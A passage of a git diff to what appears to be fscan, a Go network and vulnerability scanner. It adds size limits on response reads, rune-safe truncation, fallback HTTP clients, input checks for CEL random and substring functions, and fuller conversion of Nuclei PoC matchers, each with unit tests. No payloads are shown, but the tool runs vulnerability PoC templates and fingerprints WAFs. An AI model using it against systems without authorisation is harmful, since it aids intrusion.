"custom") { + t.Fatalf("community list missing expected entries: %v", communities) + } + if countString(communities, "public") != 1 || countString(communities, "private") != 1 { + t.Fatalf("community list should deduplicate entries: %v", communities) + } +} + +func containsString(values []string, target string) bool { + return countString(values, target) > 0 +} + +func countString(values []string, target string) int { + count := 0 + for _, value := range values { + if value == target { + count++ + } + } + return count +} diff --git a/plugins/services/zookeeper.go b/plugins/services/zookeeper.go index ab2f8a3..91f3e44 100644 --- a/plugins/services/zookeeper.go +++ b/plugins/services/zookeeper.go @@ -64,10 +64,7 @@ func parseZooKeeperResponse(data []byte) (string, bool) { lower := strings.ToLower(resp) if strings.Contains(lower, "zookeeper") || strings.Contains(lower, "zk_version") || strings.Contains(lower, "mode:") || strings.Contains(lower, "not in the whitelist") { - if len(resp) > 200 { - resp = resp[:200] - } - return resp, true + return truncateRunes(resp, 200), true } return "", false } diff --git a/plugins/services/zookeeper_test.go b/plugins/services/zookeeper_test.go index a8cd9c2..039dd2f 100644 --- a/plugins/services/zookeeper_test.go +++ b/plugins/services/zookeeper_test.go @@ -2,7 +2,11 @@ package services -import "testing" +import ( + "strings" + "testing" + "unicode/utf8" +) func TestParseZooKeeperResponse(t *testing.T) { banner, ok := parseZooKeeperResponse([]byte("imok")) @@ -13,4 +17,10 @@ func TestParseZooKeeperResponse(t *testing.T) { if _, ok := parseZooKeeperResponse([]byte("hello")); ok { t.Fatal("unexpected match for non-zookeeper response") } + + longResp := "zk_version\t" + strings.Repeat("界", 205) + banner, ok = parseZooKeeperResponse([]byte(longResp)) + if !ok || !utf8.ValidString(banner) || len([]rune(banner)) != 203 { + t.Fatalf("zookeeper truncation = %q ok=%v", banner, ok) + } } diff --git a/plugins/web/webpoc_test.go b/plugins/web/webpoc_test.go new file mode 100644 index 0000000..7875b6e --- /dev/null +++ b/plugins/web/webpoc_test.go @@ -0,0 +1,53 @@ +package web + +import ( + "context" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func TestMatchCDNorWAF(t *testing.T) { + tests := []struct { + name string + fingerprints []string + want string + }{ + {name: "empty", fingerprints: nil, want: ""}, + {name: "no match", fingerprints: []string{"nginx", "wordpress"}, want: ""}, + {name: "case insensitive cdn", fingerprints: []string{"site behind cloudflare"}, want: "CloudFlare"}, + {name: "chinese waf", fingerprints: []string{"命中安全狗防护"}, want: "安全狗"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := matchCDNorWAF(tt.fingerprints); got != tt.want { + t.Fatalf("matchCDNorWAF(%v) = %q, want %q", tt.fingerprints, got, tt.want) + } + }) + } +} + +func TestWebPocEarlyReturnBranches(t *testing.T) { + plugin := NewWebPocPlugin() + if plugin == nil || plugin.Name() != "webpoc" { + t.Fatalf("unexpected plugin: %#v", plugin) + } + + cfg := common.NewConfig() + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + info := &common.HostInfo{Host: "example.com", Port: 80} + + cfg.POC.Disabled = true + disabled := plugin.Scan(context.Background(), info, session) + if disabled.Success || disabled.Error == nil { + t.Fatalf("disabled scan = %#v, want failed result with error", disabled) + } + + cfg.POC.Disabled = false + cfg.POC.Full = false + skipped := plugin.Scan(context.Background(), info, session) + if !skipped.Success || !skipped.Skipped { + t.Fatalf("non-full scan = %#v, want skipped success", skipped) + } +} diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index 0903715..72bfd1f 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -24,6 +24,8 @@ import ( "github.com/shadow1ng/fscan/webscan/lib" ) +const maxWebTitleBodyBytes = 2 << 20 + // 预编译正则表达式 var ( titleRegex = regexp.MustCompile(`(?i)]*>([^<]+)`) @@ -136,10 +138,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, baseURL := webTitleURL(urlScheme, info.Host, info.Port) // 选择对应的 HTTP 客户端 - clientNR, clientR := lib.ClientNoRedirect, lib.Client - if isGM { - clientNR, clientR = lib.ClientNoRedirectGM, lib.ClientGM - } + clientNR, clientR := webTitleHTTPClients(isGM) // 构建显示用URL(隐藏标准端口) var displayURL string @@ -164,7 +163,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, return "", 0, 0, "", nil, displayURL, err } - body, err := io.ReadAll(resp.Body) + body, err := readWebTitleBody(resp.Body) _ = resp.Body.Close() contentLen := len(body) if err != nil { @@ -196,7 +195,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, reqRedirect.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") respRedirect, err := clientR.Do(reqRedirect) if err == nil { - bodyRedirect, err := io.ReadAll(respRedirect.Body) + bodyRedirect, err := readWebTitleBody(respRedirect.Body) _ = respRedirect.Body.Close() if err == nil && len(bodyRedirect) > 0 { // 添加跳转后页面的指纹数据 @@ -299,6 +298,34 @@ func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostIn WebScan.WebScan(ctx, info, config, session) } +func webTitleHTTPClients(isGM bool) (*http.Client, *http.Client) { + if isGM { + return firstHTTPClient(lib.ClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(lib.ClientGM, http.DefaultClient) + } + return firstHTTPClient(lib.ClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(lib.Client, http.DefaultClient) +} + +func firstHTTPClient(clients ...*http.Client) *http.Client { + for _, client := range clients { + if client != nil { + return client + } + } + return http.DefaultClient +} + +func defaultNoRedirectClient() *http.Client { + return &http.Client{ + CheckRedirect: func(*http.Request, []*http.Request) error { + return http.ErrUseLastResponse + }, + } +} + +func readWebTitleBody(r io.Reader) ([]byte, error) { + return io.ReadAll(io.LimitReader(r, maxWebTitleBodyBytes)) +} + // formatHeaders 将 HTTP Header 格式化为字符串 func (p *WebTitlePlugin) formatHeaders(headers http.Header) string { var builder strings.Builder @@ -361,9 +388,7 @@ func (p *WebTitlePlugin) extractTitle(html string) string { title := strings.TrimSpace(matches[1]) title = whitespaceRegex.ReplaceAllString(title, " ") - if len(title) > 100 { - title = title[:100] + "..." - } + title = truncateRunes(title, 100) if utf8.ValidString(title) { return title @@ -373,6 +398,19 @@ func (p *WebTitlePlugin) extractTitle(html string) string { return "" } +func truncateRunes(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} + // fetchFaviconHash 下载 favicon.ico 并计算 hash func (p *WebTitlePlugin) fetchFaviconHash(ctx context.Context, baseURL string) fingerprint.FaviconHashes { // 构造 favicon URL diff --git a/plugins/web/webtitle_test.go b/plugins/web/webtitle_test.go index f92b730..9ce70e2 100644 --- a/plugins/web/webtitle_test.go +++ b/plugins/web/webtitle_test.go @@ -3,7 +3,9 @@ package web import ( "context" "net/http" + "strings" "testing" + "unicode/utf8" "github.com/shadow1ng/fscan/webscan/lib" ) @@ -12,6 +14,14 @@ type faviconRoundTripper struct { called bool } +func TestExtractTitleTruncatesByRune(t *testing.T) { + title := strings.Repeat("界", 105) + got := NewWebTitlePlugin().extractTitle("" + title + "") + if !utf8.ValidString(got) || len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") { + t.Fatalf("extractTitle() = %q", got) + } +} + func (rt *faviconRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) { rt.called = true <-req.Context().Done() @@ -56,3 +66,38 @@ func TestWebTitleURLUsesJoinHostPort(t *testing.T) { }) } } + +func TestWebTitleHTTPClientsFallbackWhenGlobalsNil(t *testing.T) { + previousClient, previousNoRedirect := lib.Client, lib.ClientNoRedirect + previousGM, previousNoRedirectGM := lib.ClientGM, lib.ClientNoRedirectGM + lib.Client, lib.ClientNoRedirect = nil, nil + lib.ClientGM, lib.ClientNoRedirectGM = nil, nil + defer func() { + lib.Client, lib.ClientNoRedirect = previousClient, previousNoRedirect + lib.ClientGM, lib.ClientNoRedirectGM = previousGM, previousNoRedirectGM + }() + + clientNR, clientR := webTitleHTTPClients(false) + if clientNR == nil || clientR == nil { + t.Fatal("webTitleHTTPClients returned nil fallback client") + } + + req, err := http.NewRequest(http.MethodGet, "http://example.com", nil) + if err != nil { + t.Fatal(err) + } + if err := clientNR.CheckRedirect(req, []*http.Request{req}); err != http.ErrUseLastResponse { + t.Fatalf("no-redirect fallback error = %v, want http.ErrUseLastResponse", err) + } +} + +func TestReadWebTitleBodyIsBounded(t *testing.T) { + body := strings.NewReader(strings.Repeat("a", maxWebTitleBodyBytes+1024)) + got, err := readWebTitleBody(body) + if err != nil { + t.Fatalf("readWebTitleBody error = %v", err) + } + if len(got) != maxWebTitleBodyBytes { + t.Fatalf("body len = %d, want %d", len(got), maxWebTitleBodyBytes) + } +} diff --git a/web/api/result.go b/web/api/result.go index a28d1ff..1ec9c16 100644 --- a/web/api/result.go +++ b/web/api/result.go @@ -113,8 +113,8 @@ func (s *ResultStore) Add(result interface{}) *ResultItem { if details, ok := m["details"].(map[string]interface{}); ok { item.Details = details if port, ok := details["port"]; ok { - if item.Target != "" && !strings.Contains(item.Target, ":") { - item.Target = fmt.Sprintf("%s:%v", item.Target, port) + if target := targetWithDetailsPort(item.Target, port); target != "" { + item.Target = target } } item.Status = buildStatusFromDetails(item.Type, item.Status, details) @@ -165,6 +165,37 @@ func (s *ResultStore) Add(result interface{}) *ResultItem { return &item } +func targetWithDetailsPort(target string, port interface{}) string { + if target == "" { + return "" + } + if strings.Contains(target, "://") || strings.ContainsAny(target, "/?#") { + return "" + } + if _, _, ok := splitTargetHostPort(target); ok { + return "" + } + if strings.Contains(target, ":") { + hostForIP := target + if strings.HasPrefix(hostForIP, "[") && strings.HasSuffix(hostForIP, "]") { + hostForIP = strings.TrimPrefix(strings.TrimSuffix(hostForIP, "]"), "[") + } + if net.ParseIP(hostForIP) == nil { + return "" + } + } + portText := strings.TrimSpace(fmt.Sprint(port)) + portNum, err := strconv.Atoi(portText) + if err != nil || portNum < 1 || portNum > 65535 { + return "" + } + host := target + if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") { + host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[") + } + return net.JoinHostPort(host, portText) +} + // List 获取所有结果 func (s *ResultStore) List() []ResultItem { s.mu.RLock() @@ -444,14 +475,25 @@ func extractServiceInfo(details interface{}) (service, version, banner string) { } if b, ok := m["banner"].(string); ok { banner = escapeControlChars(b) - if len(banner) > 100 { - banner = banner[:100] + "..." - } + banner = truncateString(banner, 100) } } return } +func truncateString(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} + // extractVulnType 从 details 中提取漏洞类型 func extractVulnType(details interface{}) string { if m, ok := details.(map[string]interface{}); ok { diff --git a/web/api/result_test.go b/web/api/result_test.go index d0f3935..d9ba549 100644 --- a/web/api/result_test.go +++ b/web/api/result_test.go @@ -2,7 +2,10 @@ package api -import "testing" +import ( + "testing" + "unicode/utf8" +) func TestExtractHostPortIPv6(t *testing.T) { tests := []struct { @@ -29,3 +32,43 @@ func TestExtractHostPortIPv6(t *testing.T) { }) } } + +func TestTargetWithDetailsPort(t *testing.T) { + tests := []struct { + name string + target string + port interface{} + want string + }{ + {name: "hostname", target: "example.com", port: 443, want: "example.com:443"}, + {name: "ipv4", target: "192.168.1.1", port: "80", want: "192.168.1.1:80"}, + {name: "bare ipv6", target: "2001:db8::1", port: 8443, want: "[2001:db8::1]:8443"}, + {name: "bracketed ipv6", target: "[2001:db8::1]", port: 8443, want: "[2001:db8::1]:8443"}, + {name: "already has port", target: "[2001:db8::1]:8443", port: 9443, want: ""}, + {name: "invalid colon target", target: "example.com:abc", port: 80, want: ""}, + {name: "url target", target: "http://example.com", port: 80, want: ""}, + {name: "bad port", target: "example.com", port: 70000, want: ""}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := targetWithDetailsPort(tt.target, tt.port); got != tt.want { + t.Fatalf("targetWithDetailsPort(%q, %v) = %q, want %q", tt.target, tt.port, got, tt.want) + } + }) + } +} + +func TestExtractServiceInfoTruncatesBannerByRune(t *testing.T) { + banner := "" + for i := 0; i < 105; i++ { + banner += "界" + } + _, _, got := extractServiceInfo(map[string]interface{}{"banner": banner}) + if !utf8.ValidString(got) { + t.Fatalf("banner is not valid utf8: %q", got) + } + if len([]rune(got)) != 103 || got[len(got)-3:] != "..." { + t.Fatalf("banner = %q, rune len %d", got, len([]rune(got))) + } +} diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index 54cb487..6eeae8e 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -33,6 +33,8 @@ var ( baseProgramOpt []cel.ProgramOption ) +const maxPOCResponseBodyBytes = 8 << 20 + // 包级POC配置(atomic 保证并发安全) var pocDNSLog atomic.Bool @@ -386,6 +388,9 @@ func reverseCheck(r *Reverse, timeout int64) bool { // RandomStr 生成指定长度的随机字符串 func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { + if n <= 0 || letterBytes == "" { + return "" + } const ( // 用 6 位比特表示一个字母索引 letterIdxBits = 6 @@ -471,9 +476,9 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* ) if redirect { - oResp, err = Client.Do(req) + oResp, err = requestClient(true).Do(req) } else { - oResp, err = ClientNoRedirect.Do(req) + oResp, err = requestClient(false).Do(req) } // 标准TLS连接失败时,尝试国密TLS客户端 @@ -484,12 +489,16 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* } } if redirect { - if oResp2, err2 := ClientGM.Do(req); err2 == nil { - oResp, err = oResp2, nil + if clientGM := gmRequestClient(true); clientGM != nil { + if oResp2, err2 := clientGM.Do(req); err2 == nil { + oResp, err = oResp2, nil + } } } else { - if oResp2, err2 := ClientNoRedirectGM.Do(req); err2 == nil { - oResp, err = oResp2, nil + if clientGM := gmRequestClient(false); clientGM != nil { + if oResp2, err2 := clientGM.Do(req); err2 == nil { + oResp, err = oResp2, nil + } } } } @@ -513,6 +522,30 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* return resp, err } +func requestClient(redirect bool) *http.Client { + if redirect { + if Client != nil { + return Client + } + return http.DefaultClient + } + if ClientNoRedirect != nil { + return ClientNoRedirect + } + return &http.Client{ + CheckRedirect: func(*http.Request, []*http.Request) error { + return http.ErrUseLastResponse + }, + } +} + +func gmRequestClient(redirect bool) *http.Client { + if redirect { + return ClientGM + } + return ClientNoRedirectGM +} + // ParseURL 解析 TargetURL 并转换为自定义 TargetURL 类型 func ParseURL(u *url.URL) *UrlType { return &UrlType{ @@ -597,7 +630,7 @@ func ParseResponse(oResp *http.Response) (*Response, error) { // getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩 func getRespBody(oResp *http.Response) ([]byte, error) { // 读取原始响应体 - body, err := io.ReadAll(oResp.Body) + body, err := io.ReadAll(io.LimitReader(oResp.Body, maxPOCResponseBodyBytes)) if err != nil && !errors.Is(err, io.EOF) && len(body) == 0 { return nil, err } @@ -610,7 +643,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) { } defer func() { _ = reader.Close() }() - decompressed, err := io.ReadAll(reader) + decompressed, err := io.ReadAll(io.LimitReader(reader, maxPOCResponseBodyBytes)) if err != nil && !errors.Is(err, io.EOF) && len(decompressed) == 0 { return nil, err } diff --git a/webscan/lib/eval_random.go b/webscan/lib/eval_random.go index cb4f970..a5ab040 100644 --- a/webscan/lib/eval_random.go +++ b/webscan/lib/eval_random.go @@ -1,6 +1,7 @@ package lib import ( + "fmt" "math/rand" //nolint:gosec // G404: math/rand用于生成POC测试数据,非加密用途 "github.com/google/cel-go/checker/decls" @@ -10,6 +11,8 @@ import ( exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" ) +const maxRandomStringLength = 4096 + // registerRandomDeclarations 注册随机函数的CEL声明 func registerRandomDeclarations() []*exprpb.Decl { return []*exprpb.Decl{ @@ -46,12 +49,13 @@ func registerRandomImplementations() []*functions.Overload { if !ok { return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type()) } - min, max := int(from), int(to) - if max <= min { - return types.NewErr("randomInt: max(%d) must be greater than min(%d)", max, min) - } - //nolint:gosec // G404: 用于生成POC测试随机数,非加密用途 - return types.Int(rand.Intn(max-min) + min) + min, max := int64(from), int64(to) + span, err := randomIntSpan(min, max) + if err != nil { + return types.NewErr("%v", err) + } + //nolint:gosec // G404: 用于生成POC测试随机数,非加密用途 + return types.Int(rand.Int63n(span) + min) }, }, { @@ -61,7 +65,11 @@ func registerRandomImplementations() []*functions.Overload { if !ok { return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type()) } - return types.String(randomLowercase(int(n))) + length, err := validateRandomStringLength(n) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(randomLowercase(length)) }, }, { @@ -71,7 +79,11 @@ func registerRandomImplementations() []*functions.Overload { if !ok { return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type()) } - return types.String(randomUppercase(int(n))) + length, err := validateRandomStringLength(n) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(randomUppercase(length)) }, }, { @@ -81,8 +93,30 @@ func registerRandomImplementations() []*functions.Overload { if !ok { return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type()) } - return types.String(randomString(int(n))) + length, err := validateRandomStringLength(n) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(randomString(length)) }, }, } } + +func randomIntSpan(min, max int64) (int64, error) { + if max <= min { + return 0, fmt.Errorf("randomInt: max(%d) must be greater than min(%d)", max, min) + } + const maxInt64 = int64(^uint64(0) >> 1) + if min < 0 && max > maxInt64+min { + return 0, fmt.Errorf("randomInt: range too large") + } + return max - min, nil +} + +func validateRandomStringLength(n types.Int) (int, error) { + if n < 0 || n > maxRandomStringLength { + return 0, fmt.Errorf("random string length must be between 0 and %d", maxRandomStringLength) + } + return int(n), nil +} diff --git a/webscan/lib/eval_string.go b/webscan/lib/eval_string.go index 39b5ab7..b8aa5e6 100644 --- a/webscan/lib/eval_string.go +++ b/webscan/lib/eval_string.go @@ -109,12 +109,12 @@ func registerStringImplementations() []*functions.Overload { return types.NewErr("invalid length to 'substr'") } runes := []rune(str) - if start < 0 || length < 0 || int(start+length) > len(runes) { + if start < 0 || length < 0 || start > types.Int(len(runes)) || length > types.Int(len(runes))-start { return types.NewErr("invalid start or length to 'substr'") } - return types.String(runes[start : start+length]) + return types.String(runes[int(start):int(start+length)]) } - return types.NewErr("too many arguments to 'substr'") + return types.NewErr("invalid argument count to 'substr'") }, }, { diff --git a/webscan/lib/eval_test.go b/webscan/lib/eval_test.go index f626539..8013a02 100644 --- a/webscan/lib/eval_test.go +++ b/webscan/lib/eval_test.go @@ -1,10 +1,12 @@ package lib import ( + "compress/gzip" "errors" "fmt" "io" "net/http" + "net/http/httptest" "net/url" "strings" "testing" @@ -258,6 +260,21 @@ func TestRandomInt(t *testing.T) { } } +func TestRandomIntRejectsOverflowingRange(t *testing.T) { + customLib := NewEnvOption() + env, err := NewEnv(&customLib) + if err != nil { + t.Fatalf("创建 CEL 环境失败: %v", err) + } + + if _, err := Evaluate(env, "randomInt(-9223372036854775808, 9223372036854775807)", map[string]interface{}{}); err == nil { + t.Fatal("Evaluate() error = nil, want randomInt range error") + } + if _, err := randomIntSpan(-9223372036854775807-1, 9223372036854775807); err == nil { + t.Fatal("randomIntSpan() error = nil, want range too large") + } +} + func TestRandomLowercase(t *testing.T) { customLib := NewEnvOption() env, err := NewEnv(&customLib) @@ -388,6 +405,26 @@ func TestRandomString(t *testing.T) { } } +func TestRandomStringLengthValidation(t *testing.T) { + customLib := NewEnvOption() + env, err := NewEnv(&customLib) + if err != nil { + t.Fatalf("创建 CEL 环境失败: %v", err) + } + + for _, expr := range []string{ + "randomLowercase(-1)", + fmt.Sprintf("randomUppercase(%d)", maxRandomStringLength+1), + fmt.Sprintf("randomString(%d)", maxRandomStringLength+1), + } { + t.Run(expr, func(t *testing.T) { + if _, err := Evaluate(env, expr, map[string]interface{}{}); err == nil { + t.Fatal("Evaluate() error = nil, want invalid random string length") + } + }) + } +} + // ============================================================================= // eval_string.go 测试 - 字符串函数 // ============================================================================= @@ -469,6 +506,12 @@ func TestSubstr(t *testing.T) { } }) } + + t.Run("长度溢出不panic", func(t *testing.T) { + if _, err := Evaluate(env, `substr("hello", 1, 9223372036854775807)`, map[string]interface{}{}); err == nil { + t.Fatal("Evaluate() error = nil, want invalid substr bounds") + } + }) } func TestIStartsWith(t *testing.T) { @@ -1086,6 +1129,45 @@ func TestGetRespBody(t *testing.T) { } } +func TestGetRespBodyLimitsPlainBody(t *testing.T) { + resp := &http.Response{ + Header: make(http.Header), + Body: io.NopCloser(strings.NewReader(strings.Repeat("a", maxPOCResponseBodyBytes+1024))), + } + + body, err := getRespBody(resp) + if err != nil { + t.Fatalf("getRespBody error = %v", err) + } + if len(body) != maxPOCResponseBodyBytes { + t.Fatalf("body len = %d, want %d", len(body), maxPOCResponseBodyBytes) + } +} + +func TestGetRespBodyLimitsGzipBody(t *testing.T) { + var compressed strings.Builder + gzipWriter := gzip.NewWriter(&compressed) + if _, err := gzipWriter.Write([]byte(strings.Repeat("a", maxPOCResponseBodyBytes+1024))); err != nil { + t.Fatalf("gzip write error = %v", err) + } + if err := gzipWriter.Close(); err != nil { + t.Fatalf("gzip close error = %v", err) + } + + resp := &http.Response{ + Header: http.Header{"Content-Encoding": []string{"gzip"}}, + Body: io.NopCloser(strings.NewReader(compressed.String())), + } + + body, err := getRespBody(resp) + if err != nil { + t.Fatalf("getRespBody error = %v", err) + } + if len(body) != maxPOCResponseBodyBytes { + t.Fatalf("body len = %d, want %d", len(body), maxPOCResponseBodyBytes) + } +} + func TestDoRequestBuffersUnknownLengthBody(t *testing.T) { previous := ClientNoRedirect defer func() { ClientNoRedirect = previous }() @@ -1124,6 +1206,52 @@ func TestDoRequestBuffersUnknownLengthBody(t *testing.T) { } } +func TestDoRequestUsesFallbackClientWhenGlobalClientNil(t *testing.T) { + previous := ClientNoRedirect + ClientNoRedirect = nil + defer func() { ClientNoRedirect = previous }() + + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte("ok")) + })) + defer server.Close() + + req, err := http.NewRequest(http.MethodGet, server.URL, nil) + if err != nil { + t.Fatalf("NewRequest error = %v", err) + } + + resp, err := DoRequest(req, false, nil) + if err != nil { + t.Fatalf("DoRequest error = %v", err) + } + if string(resp.Body) != "ok" { + t.Fatalf("body = %q, want ok", resp.Body) + } +} + +func TestDoRequestSkipsNilGMTLSFallback(t *testing.T) { + previousNR, previousGM := ClientNoRedirect, ClientNoRedirectGM + defer func() { + ClientNoRedirect = previousNR + ClientNoRedirectGM = previousGM + }() + + ClientNoRedirect = &http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) { + return nil, errors.New("standard tls failed") + })} + ClientNoRedirectGM = nil + + req, err := http.NewRequest(http.MethodGet, "https://example.com", nil) + if err != nil { + t.Fatalf("NewRequest error = %v", err) + } + + if _, err := DoRequest(req, false, nil); err == nil { + t.Fatal("DoRequest expected standard TLS error") + } +} + func TestDoRequestReplaysBodyForGMTLSFallback(t *testing.T) { previousNR, previousGM := ClientNoRedirect, ClientNoRedirectGM defer func() { @@ -1208,3 +1336,9 @@ func TestRandomStr(t *testing.T) { }) } } + +func TestRandomStrRejectsNegativeLength(t *testing.T) { + if got := RandomStr(randSource, "abc", -1); got != "" { + t.Fatalf("RandomStr negative length = %q, want empty", got) + } +} diff --git a/webscan/lib/poc_adapter.go b/webscan/lib/poc_adapter.go index 6ca966d..cb67767 100644 --- a/webscan/lib/poc_adapter.go +++ b/webscan/lib/poc_adapter.go @@ -24,6 +24,33 @@ const ( FormatUnknown PocFormat = "unknown" ) +type yamlStringList []string + +func (l *yamlStringList) UnmarshalYAML(unmarshal func(interface{}) error) error { + var single string + if err := unmarshal(&single); err == nil { + if single != "" { + *l = []string{single} + } + return nil + } + + var list []interface{} + if err := unmarshal(&list); err != nil { + return err + } + values := make([]string, 0, len(list)) + for _, item := range list { + values = append(values, fmt.Sprintf("%v", item)) + } + *l = values + return nil +} + +func (l yamlStringList) String() string { + return strings.Join(l, ", ") +} + // UniversalPoc 通用POC接口 - 所有格式都要实现这个接口 type UniversalPoc interface { GetName() string // 获取POC名称 @@ -144,29 +171,32 @@ func (f *FscanPocAdapter) ToFscanPoc() (*Poc, error) { type NucleiPoc struct { ID string `yaml:"id"` Info struct { - Name string `yaml:"name"` - Author string `yaml:"author"` - Severity string `yaml:"severity"` - Description string `yaml:"description"` - Reference []string `yaml:"reference"` + Name string `yaml:"name"` + Author yamlStringList `yaml:"author"` + Severity string `yaml:"severity"` + Description string `yaml:"description"` + Reference yamlStringList `yaml:"reference"` } `yaml:"info"` HTTP []struct { - Method string `yaml:"method"` - Path []string `yaml:"path"` - Headers map[string]string `yaml:"headers"` - Body string `yaml:"body"` - Matchers []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - } `yaml:"matchers"` - MatchersCondition string `yaml:"matchers-condition"` + Method string `yaml:"method"` + Path []string `yaml:"path"` + Headers map[string]string `yaml:"headers"` + Body string `yaml:"body"` + Matchers []NucleiMatcher `yaml:"matchers"` + MatchersCondition string `yaml:"matchers-condition"` } `yaml:"http"` } +type NucleiMatcher struct { + Type string `yaml:"type"` + Words []string `yaml:"words"` + Status []int `yaml:"status"` + Regex []string `yaml:"regex"` + Condition string `yaml:"condition"` + Part string `yaml:"part"` + Negative bool `yaml:"negative"` +} + // NucleiPocAdapter Nuclei格式适配器 type NucleiPocAdapter struct { *NucleiPoc @@ -198,9 +228,9 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { poc := &Poc{ Name: n.GetName(), Detail: Detail{ - Author: n.Info.Author, + Author: n.Info.Author.String(), Description: n.Info.Description, - Links: n.Info.Reference, + Links: []string(n.Info.Reference), }, } @@ -221,7 +251,7 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { for _, path := range paths { rule := Rules{ Method: method, - Path: path, + Path: normalizeNucleiPath(path), Headers: httpReq.Headers, Body: httpReq.Body, } @@ -246,26 +276,27 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { return poc, nil } +func normalizeNucleiPath(path string) string { + path = strings.TrimSpace(path) + path = strings.TrimPrefix(path, "{{BaseURL}}") + path = strings.TrimPrefix(path, "{{RootURL}}") + if path == "" { + return "/" + } + return path +} + // convertNucleiMatchers 转换Nuclei matchers为fscan expression -func convertNucleiMatchers(matchers []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` -}, matchersCondition string) string { +func convertNucleiMatchers(matchers []NucleiMatcher, matchersCondition string) string { var conditions []string for _, m := range matchers { var matcherConds []string - switch m.Type { + switch strings.ToLower(m.Type) { case "word": for _, word := range m.Words { - // 转义双引号 - escapedWord := strings.ReplaceAll(word, `"`, `\"`) - matcherConds = append(matcherConds, fmt.Sprintf(`response.body.bcontains(b"%s")`, escapedWord)) + matcherConds = append(matcherConds, nucleiWordCondition(m.Part, word)) } case "status": for _, status := range m.Status { @@ -273,9 +304,7 @@ func convertNucleiMatchers(matchers []struct { } case "regex": for _, pattern := range m.Regex { - // 简化处理:直接用bmatches - escapedPattern := strings.ReplaceAll(pattern, `"`, `\"`) - matcherConds = append(matcherConds, fmt.Sprintf(`response.body.bmatches(b"%s")`, escapedPattern)) + matcherConds = append(matcherConds, nucleiRegexCondition(m.Part, pattern)) } case "dsl": // DSL类型暂不支持,使用默认匹配 @@ -285,16 +314,20 @@ func convertNucleiMatchers(matchers []struct { // 单个matcher内的条件组合 if len(matcherConds) > 0 { connector := " && " - if m.Condition == "or" { + if strings.EqualFold(m.Condition, "or") { connector = " || " } + var combined string if len(matcherConds) == 1 { - conditions = append(conditions, matcherConds[0]) + combined = matcherConds[0] } else { - combined := "(" + strings.Join(matcherConds, connector) + ")" - conditions = append(conditions, combined) + combined = "(" + strings.Join(matcherConds, connector) + ")" } + if m.Negative { + combined = "!(" + combined + ")" + } + conditions = append(conditions, combined) } } @@ -308,13 +341,57 @@ func convertNucleiMatchers(matchers []struct { // 多个matcher之间的条件组合 connector := " && " - if matchersCondition == "or" { + if strings.EqualFold(matchersCondition, "or") { connector = " || " } return strings.Join(conditions, connector) } +func nucleiWordCondition(part, word string) string { + word = escapeCELBytesLiteral(word) + switch normalizeMatcherPart(part) { + case "header": + return fmt.Sprintf(`response.headers.exists(k, bytes(k + ": " + response.headers[k]).bcontains(b"%s"))`, word) + case "all": + return fmt.Sprintf(`(response.body.bcontains(b"%s") || response.headers.exists(k, bytes(k + ": " + response.headers[k]).bcontains(b"%s")))`, word, word) + default: + return fmt.Sprintf(`response.body.bcontains(b"%s")`, word) + } +} + +func nucleiRegexCondition(part, pattern string) string { + pattern = escapeCELStringLiteral(pattern) + switch normalizeMatcherPart(part) { + case "header": + return fmt.Sprintf(`response.headers.exists(k, "%s".bmatches(bytes(k + ": " + response.headers[k])))`, pattern) + case "all": + return fmt.Sprintf(`("%s".bmatches(response.body) || response.headers.exists(k, "%s".bmatches(bytes(k + ": " + response.headers[k]))))`, pattern, pattern) + default: + return fmt.Sprintf(`"%s".bmatches(response.body)`, pattern) + } +} + +func normalizeMatcherPart(part string) string { + switch strings.ToLower(strings.TrimSpace(part)) { + case "header", 